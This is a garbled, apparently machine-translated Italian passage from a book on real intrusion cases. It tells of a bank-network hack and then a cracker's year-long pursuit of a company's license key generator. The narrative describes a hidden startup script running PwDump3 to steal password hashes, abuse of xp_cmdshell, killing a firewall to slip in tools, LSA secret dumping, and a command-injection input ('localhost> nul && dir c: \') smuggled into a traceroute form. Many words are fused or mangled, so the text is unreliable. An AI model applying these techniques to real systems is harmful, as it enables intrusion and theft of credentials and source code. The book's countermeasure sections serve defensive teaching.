script da eseguire PwDump3 come un collegamenta oaitella di avvio, camuffando
come qualcosa innocuo.
Gabriel giaceva in attesa per un amministratoodiinio per accedere al
macchina di destinazione. Il programma funzionaagdo molto simile una trappola, balzando
guando attivato da un evento particolare - in queaso, un sistema di amministrazione
tor login. Quando tale amministratore accede, agihlhdelle password sono
silenziosamente estratto in un file. L'utilita Pwbp@ viene eseguito dalla strazione
cartella di avvio di dalita. "A volte ci voglionaayni [di ammini- dominio
stratore per accedere], "dice," ma é valsa la pspattare. "
Una volta che I'amministratore del dominio ignargdato, ha inconsapevolmente
estratto gli hash delle password in un file nastdSabriel restituito
luogo del delitto per ottenere gli hash delle passwe si passo una da password
programma utilizzando il computer piu potente éosita grado di accedere cracking.
In un tale sistema, una password semplice comeWmad" puo richiedere meno
di un secondo per rompere. Password di Windows issemolessere particolarmente facile,
mentre una password complessa che utilizza sinspetiali puo prendere molto
piu. "Ho avuto quello che mi ha portato un mesermta decifrare," Gabriel
ricorda mestamente. La password dell'amministrdiareea comprendeva solo quattro
lettere minuscole. E 'stato rotto piu velocememntgudnto si poteva leggere questo paragrafo.
Chiunque sia interessato a un conto bancario
in Svizzera?
Alcuni degli elementi Gabriel trovato fatto il resiel bottino sembrare piccolo
patate.
Egli ha anche trovato la sua strada in una delte pia supersensibili di qualsiasi
operazione della banca - il processo per la germgrazli bonifici. Ha trovato
le schermate di menu per I'avvio del processo. lEgknche scoperto il reale
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modulo utilizzato dal gruppo selezionato di dipartdautorizzati che hanno
l'autorita di elaborare le transazioni per il atotei fondi da un doga-



conto di Tomer e l'invio dei fondi elettronicamenten‘altra finanziaria

ente che potrebbe essere dall'altra parte del m@dpzera,

per esempio).

Ma un modulo vuoto non fa nulla di buono se nosastome prieta

rettamente completarlo. Che, si € scoperto, nonmegaoblema. Nel

manuale di istruzioni che aveva in precedenza tronaapitolo si € rivelato particolarmente
interessante. Non aveva bisogno di andare moltahonnel capitolo per trovare cio che
aveva bisogno.

20.1.2 Invio / Trasferimenti Aggiornamento Wire

Menu: bonifici bancari (FILI)

Opzione: Inserire Trasferimenti / Aggiornamento filo

Questa opzione viene utilizzata per inserire infdn ripetitivi e selezionare

fili ripetitivi da inserire e inviati. Fili non riptitivi sono per

clienti che inviano solo un filo occasionalmentpes noncustomers

che vogliono avviare un filo. Attraverso questaiope, fili in arrivo

puo anche essere mantenuto dopo che sono staatcafiluando questa opzione

e selezionato verra visualizzata la seguente satarm

Bonifici

Bonifici 11:35:08

Uscente

Opzioni Tipo, premere Invio.

2 = modifica 4 = Elimina 5 = posizione di visuabzzone a ...

Optare Dal account Per beneficiario Importo

F3 = Exit F6 = Aggiungi F9 = F12 Incoming = Preceite

Quando questa opzione € inizialmente presa naara&iaicun cavo elencati.

Per aggiungere, premef® = Aggiungie verra visualizzata la seguente schermata.
Un intero capitolo precisato step-by-step le procecsatte per

I'invio di un filo da quel particolare banca, sferimento di fondi per alcune per-
conto del figlio in un altro istituto finanziariGabriel ora sapeva Tut-

cosa di cui aveva bisogno per l'invio di un bomfitancario. Aveva le chiavi del castello.
Conseguenze

Nonostante tale accesso diffuso a sistema delleab@amn enorme

guantita di energia non autorizzato a sua dispmséziGabriel al suo attivo mantenuto
la mano della cassa. Non aveva alcun interesseaaerfiondi o sabotag-

ing qualsiasi delle informazioni della banca, anséa giocato in giro con il

idea di migliorare i rating per un paio di amicbr@e uno studente
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iscritti in un programma di sicurezza in un collégeale, Gabriel valutato naturalmente
le carenze nelle misure di protezione della banca.

Ho trovato un sacco di documenti sul proprio serper la sicurezza fisica,

ma niente di tutto cio era legato agli hacker. Hovato qualcosa su

i consulenti per la sicurezza assumono ogni anmo/@eficare sui server,

ma guesto non é sufficiente per una banca. Staagemélo un buon lavoro su fisi-
sicurezza iCal, ma non abbastanza per la sicuredpamatica.

lo

Nsight

Il sito della banca in Estonia é stato un bersdglie. Juhan notato il difetto quando
ha visto il codice sorgente delle pagine Web dadliaca. Il codice utilizzato un scosta



elemento forma den che conteneva il nome del fileadnodello di modulo, che

e stato caricato dallo script CGI e visualizzati atgnti nel loro browser Web.

Ha cambiato la variabile nascosta per puntardeatiélle password del server,

e, voila, il file delle password e stato visualizzael proprio browser. Sorprendentemente, il
file non é stato oscurato, cosi ha avuto accessibeale password criptate,

che ha poi rotto.

L'hack banca Dixie fornisce un altro esempio dedlaessita dilifesa

in profondita. In questo caso, la rete della banca sembraesespmtta; cioe,

senza protezione significativa al di la del singsdover Citrix. Una volta ogni

sistema sulla rete e stata compromessa, |'uteritetemzionato potrebbe connettersi a
ogni altro sistema sulla rete. Un modello di difesprofondita potrebbe avere

Gabriel impedito di accedere al AS / 400.

Personale di sicurezza le informazioni della banstato cullato in un falso senso di rezza
rezza nell'aver un audit esterno effettuato, clieguere irragionevolmente

innalzato il livello di fiducia nel loro approccglobale alla sicurezza. Mentre per-
formando una valutazione di sicurezza o di cordrelun passo importante per misurare
la vostra resistenza contro un attacco, un procassora piu cruciale € propriamente
gestione della rete e tutti i sistemi che sonoisssbo.

C
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Il sito banca online avrebbe dovuto esigere che tatapplicazioni Web sviluppo

opers aderiscono a pratiche di programmazioneasfomdamentali, o richiedono

revisione di qualsiasi codice messo in produzitaepratica migliore e quella di limitare il
quantita di input dell'utente che viene passatoaseript lato server. Utilizzando hardware
nomi di file e costanti codificati, mentre non aleqte, alza il livello di

garanzia della sicurezza dell'applicazione.

Monitoraggio della rete Lax e sicurezza poveri pasd sul esposto

Assistente di Citrix sono stati i piu grandi errioriquesto caso, e sarebbe probabilmente
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impedito Gabriel dal roaming attraverso la lorerdinstallazione di tastiera
logger ictus, shadowing altri utenti autorizzatie @iantine di Troia
programmi. L'hacker ha scritto un piccolo scriphetterlo in amministrazione
cartella di startup di tor cosi quando connessieldbe eseguito il pwdump3
programma in silenzio. Certo, aveva gia i dirittachministratore. L'hacker
e stato in agguato per un amministratore di donpeioaccedere in modo da poter dirottare il suo
privilegi ed estrarre automaticamente gli hashedgtissword dal primario
controller di dominio. Lo script nascosto & spessamato ufrojan o unbotola.
Un elenco parziale di contromisure dovrebbe indledseguenti:
e Controllare tutti i conti per la password impoathtiltima volta il sistema Ser-
gelati conti come 'TsInternetUser' non assegnapei@onale,
diritti di amministratore non autorizzate, diridii gruppo non autorizzate,
e ora dell'ultimo accesso. Questi controlli permbg@iossono portare a indivi-
viduare un incidente di sicurezza. Cercare le pasgdwehe erano stati fissati
durante le ore strane, dal momento che I'hackepnoomrrendersi conto che lui o
lei € in partenza un processo di audit cambiang@$sword degli account.
e Limitare login interattivi per le ore di lavoro.
e Abilitare login e il logout auditing su tutti isemi che sono esternalita
finalmente accessibili via wireless, dial-up, Imtet; 0 extranet.



e Distribuzione di software come SpyCop (disponilileww.spycop.

com) per rilevare keystroke logger non autorizzate.

e Essere vigili a installare gli aggiornamenti ditsezza. In alcuni ambiente

menti, puod essere opportuno scaricare gli ultingi@gpamenti

automaticamente. Microsoft incoraggia attivamerdigenti a

configurare i loro sistemi informatici per fare gte

e Verificare sistemi accessibili esternamente plectenando soft-

ware come WinVNC, TightVYNC, Damware, e cosi via.

Questi programmi software, mentre hanno usi legittbuo

consentire a un utente malintenzionato di monitoeasessioni di controllo registrati
alla console di sistema.

e controllare attentamente eventuali accessi usiild Windows Terminal Services
o Citrix MetaFrame. La maggior parte degli aggredsanno scelto di utilizzare questi Ser-
gelati in preferenza per controllare a distanzagpmmi, per ridurre

la possibilita di essere rilevata.
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Gli hack di questo capitolo sono stati banali.sblhse sfruttando la

la sicurezza delle imprese poveri password e sC@itvulnerabili. Mentre

molte persone - anche persone competenti perdeegiza informatica -

L'arte dell'intrusione

150

Pagina 172
tendono a pensare a degli hacker irruzioni coméqgsa di piu simile a un "Oceans
Eleven "attacco strategico, la triste verita € lehmaggior parte di questi attacchi non sono
geniale o intelligente. Sono invece successo parnhégrande porzione
delle reti aziendali non sono adeguatamente protett
Inoltre, i responsabili per lo sviluppo e 'immimse di questi sistemi
in produzione stanno facendo errori di configuragisemplici e programmazione
sviste che creano un'opportunita per le migliaibadiker bang-
zione sulla porta ogni giorno.
Se le due istituzioni finanziarie descritte in goesapitolo danno alcuna indicazione
cazione di come la maggior parte delle banche deldm sono attualmente protegge i client
informazioni e capitali, quindi possiamo tutti diie di tornare a nascondersi nostro
denaro in una scatola da scarpe sotto il letto.
N
OTES
1. Anche se non ha specificato il luogo, questermfzioni sono disponibili presso
www.flumps.org/ip/.
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Capitolo 8

Il tuo Intellettuale

La proprieta non e sicuro

Se una cosa non ha funzionato, mi piacerebbe sol@pe qualcosa di diverso, perché sapevo che
era qualcosa che avrebbe funzionato. C'é sempriegsi che funziond

solo una questione di scoprire cosa.

- Erik

W

cappello € il bene piu prezioso in qualsiasi orgaazione? Non € la

hardware, non e gli uffici o in fabbrica, non é

anche quello che e stato rivendicato in una vatigetare cliché aziendale

Detto questo, "Il nostro bene piu prezioso € lamogente.”

Il fatto evidente € che nessuno di questi puo essastituito. Va bene, non cosi facilmente,
non senza una lotta, ma un sacco di aziende s@mawsassuti dopo la loro
impianto bruciato o un gruppo di dipendenti chiageiva dalla porta.
Sopravvivere alla perdita di proprieta intelleteygdero, € un'altra storia Alto-
sieme. Se qualcuno ruba i vostri progetti di prodbelenco dei clienti, il vostro
piani di nuovi prodotti, i dati di R & D - che séige un colpo che potrebbe

inviare la vostra azienda trattura.

Cosa c'e di piu, se qualcuno ruba un migliaio ddptti dal tuo Tavola-

casa, 0 una tonnellata di titanio, dal vostro imfmali produzione, o cento
computer dai vostri uffici, saprete subito. Se quab

ruba elettronica della proprieta intellettuale, ljpuehe stanno rubando un

copia e saprai mai & andato fino a molto tempo dspanai), quando

il danno e fatto e si sta soffrendo le conseguenze.

Quindi, si puod venire notizia angosciante che lsg@ee con abilita di hacking sono
rubare la proprieta intellettuale ogni giorno pesso da aziende che
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sono probabilmente non meno attenta alla sicurelzeal proprio, come suggerito da
I due esempi di questo capitolo.
| due ragazzi la seguente coppia di storie appgotem ad una razza speciale
indicato comecracker, un termine per gli hacker che software "craak" d
reverse-engineering applicazioni commerciali o rabbcodice sorgente
a questi programmi applicativi, o codici di licengamodo da poter utilizzare il soft
ware gratuitamente e infine distribuire attravasadabirinto di comprensione
terra di cracking siti. (Questo uso non deve esseméuso con "cracker", come
un programma per il cracking di password.)

In genere, ci sono tre motivazioni per un crackemdlare dopo un parti-
prodotto lare:

e Per ottenere un software che lui o lei ha un @g®e speciale in e

vuole approfondire.

e Per affrontare una sfida e vedere se lui o leiguperare in astuzia un
degno avversario (di solito lo sviluppatore), progrome qualcuno

altro cerca di superare in astuzia gli avversaadacchi, bridge, o il poker.

e Per pubblicare il software in modo che sia a digpone di altri in un segreto
mondo online che si occupa di rendere il softwaneatbre a disposizione
gratuito. | cracker non sono solo dopo che il safewstesso, ma anche

il codice utilizzato per generare la chiave ditiza.

Entrambi i personaggi di queste storie sono compttando software bersaglio Man-



fab- per rubare il codice sorgente in modo che gussilasciare una patch o generazione chiave
tor ("keygen"), il codice molto proprietario utiiato per generare cliente

chiavi di licenza, a gruppi di cracking in modo gussano in sostanza utilizzare il soft
ware gratuitamente. Ci sono molte persone contailihacker che stanno facendo
la stessa cosa, e queste aziende di software moio dea di quanto sia difficile
sono di essere colpiti.

Crackers dimorano in un mondo ben nascosto buie tbomoneta del regno

e stato rubato software - il furto di proprietéeiigttuale su una scala € probabile
trovare sbalorditivo e spaventoso. L'affascinattieno atto della storia &

dettagliato vicino alla fine del capitolo, nellazsme "Sharing: A Cracker di
Mondiale. "
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Erik € un consulente di sicurezza di 30 qualcosastilamenta che "Quando ho
segnalare una vulnerabilita, sento spesso, 'Noengen Qual e il problema?

Cosa che fara "La sua storia dimostra una veitéotignorati?:

E non sono solo i grandi errori che ti uccidera.
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Alcuni dei seguenti puo sembrare, per quelli conitéito tecnico
la conoscenza degli approcci usati dagli hackenecpiuttosto pesante slogging.
Che cosa e affascinante la cronaca, pero, € il imodai rivela la
persistenza di molti hacker. Gli eventi correlati,ghe ha avuto luogo
poco tempo fa, rivelano Erik essere, come taniiialqueste pagine, durante
zione il giorno un hacker etico stava aiutandazierade a proteggere i loro formazioni
magzioni attivita ma é stato attirato in I'emoziatdacking in ignari
obiettivi di notte.
Erik appartiene a quella razza speciale di hadkemeesso gli occhi su
irruzione in un posto e rispettare il compito fimgjuando non riesconoanche se
richiede mesi o anni.
A Quest Avvia
Alcuni anni fa, Erik e alcuni amici di hacker a gandistanza erano stati
la raccolta di diversi tipi di software server eaa raggiunto il punto
dove "proprieta del codice sorgente" di tutti ighwtti principali nel
categoria. . . con una sola eccezione. "Questate Kiltimo non ho
ho, "spiega," e io non so perché, era solo intargegper me
di entrare in quello. "Capisco l'atteggiamento giaimente. Erik era in
trofeo di caccia, e il piu prezioso bene, il piamge € il trofeo.
Quest'ultimo per fare Erik sentire completo sivelato essere piu di una
sfida di quanto avesse previsto. "Ci sono alcuncke voglio
irrompono, ma sono davvero difficile per qualchgioae ", spiega sem-
ply. Posso riferire a questo atteggiamento, pure.
Ha iniziato in un modo familiare, con "una scansiaielle porte del server Web che é



probabilmente il primo luogo guardo quando cercerdrare nel server Web.

Di solito c'é una maggiore esposizione li. Ma norirbvato niente di buono

off. "E 'comune a sondare un obiettivo leggermepi@ndo si comincia con una

attacco per evitare la generazione di allarmi esdiere notato da un amministratore

a causa delle voci nei registri - soprattutto ieggugiorni, dal momento che molti COMPA-
Nies eseguono sistemi di rilevamento delle intnoispeer rilevare scansioni delle porte e
altri tipi di sonde comunemente utilizzati daglgagssori.

Per Erik, "ci sono alcune porte cerchero che cametanno per essere

obiettivi interessanti. "snocciola una lista di remper le porte utilizzate per

il server Web, servizi di terminale, server Micrtis®QL, Microsoft Virtual

Private Network (VPN), NetBIOS, server di posta (B0, e altri.

Su un server Windows, la porta 1723 (di cui al wdpi7, "Of

Corso vostra banca é sicuro - Right ") viene disaitilizzata per un protocollo?

noto come point-to-point tunnel, che é I'nmplemeitae Microsoft

delle comunicazioni VPN e utilizza l'autenticazidrasata su Windows. Erik
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ha scoperto che sondando la porta 1723 "mi daamtiiche tipo di ruolo
il server suona "e, cosi," a volte si puo intuir@za bruta
le password. "
Egli non ha nemmeno la briga cercando di nascorldexea identita in questa fase perché
"Ci sono tante scansioni delle porte [societa] agai giorno che nessuno
anche se ne frega. Una scansione delle porte throéa in un giorno, non € cosi
significare qualsiasi cosa. "
(Valutazione di Erik il basso rischio di esserepsati e, eventualmente, iden-
ficato si basa sulla sua ipotesi rischiosa cheiéessansioni delle porte saranno sepolti in
il "rumore” di Internet. E vero, la societa bersagete strazione
istrators possono essere troppo oberati di lavquigi per esaminare i registri, ma non c'é
sempre la possibilita che sara lui a correre itipmdi zelo e ottenere sballato. Si tratta di una
possibilita
hacker piu prudenti non sono disposti a prendere.)
Nonostante il rischio, in questo caso, le scangletie porte non sono andate a nulla uso-
Ful. Poi, usando un pezzo su misura del softwaeehehfunzionato molto simile
un Common Gateway Interface (CGI) scanner, ha toowa file di log generato
dal "Server WS_FTP", che contiene, tra l'altroglenco
i nomi dei file che sono stati caricati sul sen#esimile a qualsiasi altra
FTP (File Transfer Protocol) di log, Erik dice, Rgache il registro era
memorizzate in ogni directory che i file sono statiicati, "in modo che quando si vede un
file elencato nel registro che sembra interessanpeoprio li - non lo fai
andare a caccia di esso.
Erik ha analizzato il registro FTP e ha trovat@im dei file che erano stati
recentemente caricati sul "include /" directoryawlirectory usata normalmente
per memorizzare ".inc" i tipi di file - funzioni girogrammazione comuni che sono
da altri principali moduli di codice sorgente. $df¥indows 2000, questi file
non sono per default protetto. Dopo aver esamifenco dei nomi di file in
log, Erik ha usato il suo browser Internet per alszare il codice sorgente di particolare
i nomi dei file che pensava potrebbero contendnmazioni preziose. In particolare, egli
guardato i file che potrebbero essere inclusi tsward per un back-end
server di database. E alla fine ha pagato profumartte.



"A quel punto,” Erik ha detto, "Ho fatto probabilne dieci colpi per il Web

Server - si sa, ancora niente di grave nei rediatrche se il suo display.

cupero delle password del database é stato emoz@re rapidamente scoperto che
non c'era nessun server database su quella scatola.

Ma da li, le cose sono andate "interessante."”

Non ho trovato nulla su quel server Web, ma hoauut[software]

strumento che ho fatto che indovina i nomi hodtase a un elenco di gestione comune
nomi - di gateway come, di backup, di prova, e g@sipiu il dominio

nome.Si passa attraverso un elenco di nomi di host compenidentificare qualsiasi
ospitera nomi che possono esistere nel dominio.
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Le persone sono abbastanza prevedibili in [scetistilame], quindi € abbastanza
semplice per trovare i server.
Trovare i server e stato abbastanza facile, maramumn gli ha portato un punto qualsiasi
dove. Poi lo ha colpito: la societa non era negti®Jniti. Cosi
"Ho usato l'estensione di quel paese, e I'ho poosan un sacco di
padroni di casa che avevo trovato con il mio stmtmeli scansione nome host. "Per esempio, per
un
Societa giapponese sarebbe
hostname.companyname.com.jp
Che lo ha portato alla scoperta di un server Wetlbpesta di backup. Si accede esso
con le password che aveva trovato nelle (.inc)'filelude” di origine. Lui
era in grado di eseguire comandi attraverso uneegioa standard di sistema
(Xp_cmdshell) che gli ha permesso di eseguire calirdirshell sotto qualsiasi
utente del server SQL € stato eseguito - in germ@rain account privilegiato.
Triumph! Questo gli ha dato accesso completo siteen il server Web / mail.
Erik immediatamente proceduto a scavare nelle wirgen cerca di
backup del codice sorgente e altre prelibatezzeidlobiettivo principale era quello di
ottenere il keygen - come detto, il codice moltogpretaria utilizzata per
generare chiavi di licenza del cliente. Il primadlioe del giorno é stato gather-
ing quante piu informazioni sul sistema e agli titpossibile. In
Infatti, Erik utilizzato un foglio di calcolo Exceler registrare tutte le informazioni interessanti
ha trovato, come password, indirizzi IP, nomi dsthe quali servizi
erano accessibili attraverso porte aperte, e ¢asi v
Egli ha anche sondato parti nascoste del sistemi@tyo che il dilettante
attaccante generalmente si affaccia, come auttirfieotezione locale (LSA)
segreti, che memorizza le password di serviziohagih delle password memorizzate nella cache del
ultimi agli utenti di accedere alla macchina, sardi accesso remoto (RAS) dial
I nomi di account e le password, le password atlie per workstation
dominio di accesso, e altro ancora. Ha visto atelzena Protected Storage
dove Internet Explorer e Outlook Express passwegbmio.
1
Il passo successivo é stato quello di estrarreagh delle password e li crepa a
recuperare le password. Poiché il server era undmminio di backup
troller, mail server, e server secondario Domaimi&ervice (DNS),
fu in grado di accedere a tutti i record di risdpgéS (tra cui, tra gli
le altre cose, i nomi degli host e gli indirizzidBrrispondenti) aprendo |l
Pannello di gestione DNS, che conteneva l'intezaa di domini e



hostname utilizzati dalla societa.

Ora ho avuto un elenco di tutti i loro ospiti e taxcolto le password
gua e la, saltellando da sistema a sistema.
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Questa "pozzanghera salto" e stato possibile aaadelssuo precedente successo in
di cracking delle password sul server Web di backlopo sfruttando il
Microsoft SQL Password aveva ottenuto.
Ancora non sapeva che i server erano lo svilup@pgiicazioni
macchine, memorizzare il codice sorgente del ptodota licenza stione
codice gestione. In cerca di indizi, ha esaminatoattenzione la posta e
Web log per identificare eventuali tipi di attivithe potrebbero puntare a questi
scatole. Una volta raccolto un elenco di altri iradii IP dai log che
sembrava interessante, avrebbe indirizzare questehmme. Il Santo Graal a
questa fase e stata workstation di uno sviluppati@®® che ogni sviluppatore sarebbe probabile
avere accesso all'intera raccolta codice sorgetiiie.d
Da li, ha abbattuto per diverse settimane. Al diileaccogliere le password,
egli non era in grado di ottenere molto per un plimesi, "solo tipo di valle
caricamento di un piccolo pezzo di informazionittache ho pensato utile ".
Computer del CEO
Questo ando avanti per circa otto mesi, come hzp@mente "saltellava intorno
da server a server "senza trovare né il codiceesteg il
licenza generatore di chiavi. Ma poi, ha ottenutoraportante passo avanti. Ha iniziato look-
ing piu da vicino il server Web di backup che avesmpromesso la prima e
ha scoperto che essa ha conservato i registriaingbe recuperare email, elencando il
il nome utente e l'indirizzo IP di tutti questi atori. Da un esame delle
i registri, lui era in grado di recuperare I'indao IP del CEO. Aveva finalmente
identificato un bersaglio valido.
Ho finalmente trovato il computer del CEO e che @na sorta di interfaccia
ressante. | port-scansionato per un paio di giari sarebbe solo
alcuna risposta, ma sapevo che il suo computefiero potuto vedere in
le intestazioni dei messaggi che avrebbe usatmdinizzo IP fisso, ma era
non c'e mai.
Cosi ho finalmente provato port-scanning sua seatobdntrollando alcuni comuni
porte ogni due ore a rimanere sotto il radar in casa run
ning qualsiasi tipo di software di rilevamento @eihtrusioni. Vorrei provare a dif-
volte diverse della giornata, ma limiterebbe il renmdi porte a nessun
pit di 5 in un periodo di 24 ore.
Mi ci sono voluti un paio di giorni per trovare realta una porta aperta nel momento in cui
c'era. Ho finalmente trovato una porta aperta sudisa macchina - 1433
esecuzione di un'istanza di MS SQL Server. Si sad® era il suo
laptop e lui era solo per come due ore ogni mattaindi,
era arrivato nel suo ufficio, controllare le e-madl poi lasciare o girare il suo
laptop off.
L'arte dell'intrusione
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Entrare nel computer del CEO



Da allora Erik aveva raccolto qualcosa come 20 k& 3@ssword dal

societa. "Avevano buoni, password complesse, macsaaguito i modelli.

E una volta ho capito i loro modelli, ho potutoifaente indovinare le password. "

A guesto punto, Erik stime, aveva lavorato su qupst qualcuno

cosa come un anno intero. E poi i suoi sforzi sstat premiati con una grande

svolta.

Erik stava al punto erano sentiva che stava guaataignuna stretta sulla

la strategia della password aziendale, quindi tarpoovare affrontare del CEO

del computer, ancora una volta, prendendo pugnal@g@assword. Che cosa faceva pensare
potrebbe essere in grado di indovinare che cogadaword CEO potrebbe utilizzare per
MS SQL Server?

Sai, la verita e che io non riesco a spiegarlos@®0 una capacita |

indovinare le password gente usa. Posso anche sagertipo

di password userebbero in futuro. Ho solo un sgreso

che.Lo sento. E 'come se li diventare e dire cio chedssword

Userei prossimo se li avevo.

Non é sicuro se chiamarla fortuna o di abilitagm®mia di dosso la capacita

con "Sono un buon indovino." Qualunque sia la sg@ae, che in realta € venuto

con la password giusta, che ricorda come "non ziomkrio

parola, ma qualcosa di piu complicato. "

Qualunque sia la spiegazione, ora aveva la passsherdli ha dato

accesso al server SQL come un amministratore dbdat. Il CEO era

"Proprieta”.

Ha trovato il computer da ben protetto, con unifak, e solo

una porta aperta. Ma in altri modi, Erik ha trovatolto da deridere. "La sua stema

tem era davvero disordinato. Non riuscivo a trovaréa li. Li Voglio dire

erano solo i file ovunque. "Non capire la linguastera che

la maggior parte tutto e stato scritto in, Erikiziato alcuni dizionari online e un
servizio traduttore online gratuito chiamato "Badfish" a caccia di parole chiave.
Aveva anche un amico che parlava la lingua, clra@iutato. Dal

log delle chat, lui era in grado di trovare piuiiiati IP e piu password.

Dal momento che i file sul computer portatile erémappo disorganizzato a trovare qualcosa di
valore, Erik si rivolse a un approccio diverso, ¢din/ s / od <lettera unita>"

per elencare e ordinare tutti i file in base alidadn modo da poter guardare quelli di recente
accede sulle unita, ed esaminare offline. Nel msada visualiz-

coperto un nome owvio per un foglio di calcolo dcEl che conteneva diversi

le password per diversi server e applicazioni. 8sageha individuato un

nome account e una password validi per il loroeeBNS primario.
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Per rendere i suoi prossimi attivita piu facilivaglagnando un punto d'appoggio migliore, e piu
facilmente caricare e scaricare file - ha volutesaae al CEO
laptop toolkit di suo di hacker. Era solo in grati@omunicare con il
laptop attraverso la sua connessione al serverostifr SQL, ma e stato in grado di utilizzare
la stessa stored procedure menzionato in precegenzaviare comandi a
il sistema operativo come se fosse seduto a ungirdnOS in Windows.
Erik ha scritto un piccolo script per causare iPHJer scaricare i suoi strumenti di hacker.
Quando non & successo niente sui suoi tre teptAdwisato una riga di comando
programma gia sul computer portatile chiamato §gsélla lista la corsa



processi.

Grande errore!

Dal computer portatile del CEO era in esecuziomedprio firewall personale (Piccolo
Personal Firewall), ogni tentativo di utilizzareFF$puntato una finestra di avviso su
schermo del CEO, chiedendo il permesso di consetdrinternet.

Fortunatamente il CEO aveva gia scaricato una serreine di comandamento
strumenti a linea di www.sysinternals.com di matap®i processi. Erik usato

"Pskill" utilita per uccidere il programma firewail modo che le finestre di dialogo pop-up
sarebbero scomparsi prima che il CEO li vide.

Ancora una volta Erik pensato che sarebbe saggie passo per un paio di

settimane solo nel caso qualcuno erano state rmtarglia attivita. Quando lui

tornato, ha cercato una strada diversa per tediattenere i suoi strumenti sul

Laptop di CEO. Ha scritto una sceneggiatura pargei@re alcuni dei suoi strumenti di hacking
utilizzando un "oggetto di Internet Explorer” ctegedbe ingannare il personale

firewall a credere che Internet Explorer chiedeysermesso

per la connessione a Internet. Quasi tutti consdifliteéernet Explorer

avere pieno accesso attraverso il loro firewalkpeale (scommetto che fai, anche), e
Erik contava sul suo script in grado di trarre eggfio da questo. Buono

chiamare. Ha funzionato. Egli & stato poi in grddosare i suoi strumenti per avviare la ricercla de
laptop e informazioni estrazione.

Il CEO Spots un break-in

Questi stessi metodi, Erik ha detto, sarebbe arlagosare oggi.

In un'altra occasione, durante la connessionempater del CEO, Erik

ancora una volta ucciso il firewall in modo da pdtasferire i file su un altro sistema da
che sarebbe stato in grado di scaricarli. Duranésip, si rese conto della

CEO era al suo computer e deve aver notato quatt@teano

in corso. "Ha visto l'icona del firewall mancantdld barra delle applicazioni. Vide

Ero su. "Erik subito scesi. Dopo un paio di minlainota-

libro é stato riavviato, e il firewall aveva comiaio di nuovo.
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Non sapevo se era a me. Cosi ho aspettato un pagttinane
prima sono tornato e I'ho provato di nuovo. Allagfiho imparato che cosa
le sue modalita di lavoro sono stati, quando haipmbttenere sul suo sistema.
Ottenere l'accesso all'applicazione
Dopo la posa basso e ripensare la sua strategkapErato in CEO
laptop e partenza esaminando il sistema piu dawi¢rima correva un pub-
blicamente disponibile strumento da riga di comageloominato LsaDump2, a discarica sensibile
Informazioni tiva memorizzate in una parte speciteRegistro di sistema denominato Local
Segreti Authority Security. Segreti LSA contiengéssword in chiaro per
account di servizio, gli hash delle password merzate nella cache del 10 utenti scorso, FTP e
Nomi Web password utente, e l'account e le passutdizizate per dial-
up networking.
Ha inoltre eseguito il comando "netstat" per vedgrali connessioni erano
stabilito in quel momento, e quali porte sono siai@scolto per un collegamento
zione. Ha notato che c'era una porta alta di aspelt un con- arrivo
collegamento. Collegamento alla porta aperta dakseli backup che
compromessa in precedenza, ha riconosciuto chenesarver Web leggero
utilizzato come una sorta di interfaccia di posta.capito subito che lui



potrebbe bypassare l'interfaccia di posta e ireséuiti i file sulla root del server

directory utilizzata per l'interfaccia di postar&zbe quindi in grado di facilita

scaricare file dal computer portatile del CEO avsedi backup.

Nonostante i successi minori nel corso dell'anmik, lion aveva ancora la fonte

codice di prodotto, o il generatore di chiavi. &uta, non aveva pensieri

di rinunciare. In realta, le cose erano semplicémdiventando interessante. "Ho trovato un
backup della directory 'tools' sul computer poleadiel CEO. In esso era un inter-
affrontare per un generatore di chiavi, ma nonvhaicaaccesso al database vivo ".

Non aveva trovato il server di licenze che erasecezione il database dal vivo
contenente tutte le chiavi clienti - solo qualcoba punta ad esso. "lo non

sapere dove si trovavano gli strumenti di licenzaadi per i dipendenti. "Avevo bisogno
per trovare il server di vivere. "Ha avuto un sd&pehe era sullo stesso server come loro
mail server, in quanto la societa ha operato un\§eb che ha permesso ai clienti

per acquistare subito il prodotto software. Undavohe la trasmissione della carta di credito
azione e stato approvato, il cliente ricevera unzaé con la concessione di licenze
chiave ing. C'era un solo server di sinistra chik Bon era stato in grado di individuare

e rompere in; deve essere quello che conteneditapione per generare

la chiave di licenza.

Ormai Erik aveva passato mesi in rete e ancorehaa@vuto

quello che cercava. Ha deciso di curiosare seiveaakup che aveva

compromessa in precedenza e ha iniziato la scanderserver di posta dall'altro
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server ha gia "di proprieta”, utilizzando una vagenma di porte, che sperano di
scoprire alcuni servizi in esecuzione su porte standard. Ha anche pensato che
sarebbe meglio per la scansione da un serverutiifichel caso in cui il firewall & stato
consentendo solo determinati indirizzi IP.
Nel corso delle prossime due settimane ha scartsiteaete il piu silenziosamente possibile
per identificare i server che erano in esecuziened insoliti, o tentano
per eseguire i servizi comuni su porte non standard
Pur continuando le sue attivita di port scanningk Ba iniziato I'esame della
File di cronologia di Internet Explorer di accoamministratore e diversi
utenti. Cio ha portato ad una nuova scoperta. Bhtudel server di backup erano
il collegamento a una porta ad alta numerata sueséli posta principale utilizzando
Internet Explorer. Si rese conto che il serverafitp principale era anche Block-
ing accesso a questa porta-alto numero a men@aaduwhessione e stata da un
Indirizzo IP "autorizzato".
Finalmente ha trovato un server Web su una paida 81800 o qualcosa
cosi, ", ricorda - e fu in grado di indovinare wonre utente e pass-
combinazione di parole che ha portato un menu dii \dna possibilita era quella di
cercare le informazioni sui clienti. Un altro el generare le chiavi di licenza per
il loro prodotto.
Bingo!
Questo ¢ stato il server con il database in dir&tti&k cominciava a sentire il suo
pompa adrenalina quando si rese conto che staversanvdo al suo obiettivo. Ma "questo
server era veramente stretto, incredibilmentetstréAncora una volta si era imbattuto in un
vicolo cieco. Ha fatto marcia indietro, penso cateaverso, e si avvicino con un
nuova idea:
Ho avuto il codice sorgente di queste pagine Weausa del backup di



il sito Web ho trovato sul computer portatile d&@. E ho trovato un link su
la pagina Web per alcuni la diagnostica di retepmonetstat, tracciabilita
percorso e ping - si potrebbe mettere un indirit2oel modulo web,

e fare clic su "OK", e sarebbe eseguire il comaadasualizzare la

risultati sullo schermo.

Aveva notato un bug in un programma che potevaoeguando ha registrato
per la pagina Web. Se ha scelto I'opzione perdareomando tracert, il
programma avrebbe permesso di fardraneroute- tracciando il percorso che
pacchetti per I'indirizzo IP di destinazione. Esikese conto che poteva
ingannare il programma in esecuzione di un comaigbell inserendo un IP
indirizzo, seguito dal simbolo "e", e quindi il scomando shell. Quindi,
entrava qualcosa in forma di seguente:

localhost> nul && dir c: \
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In questo esempio, le informazioni inserite nel oo post-aggiunti

al comando traceroute dallo script CGI. La primeeéino al

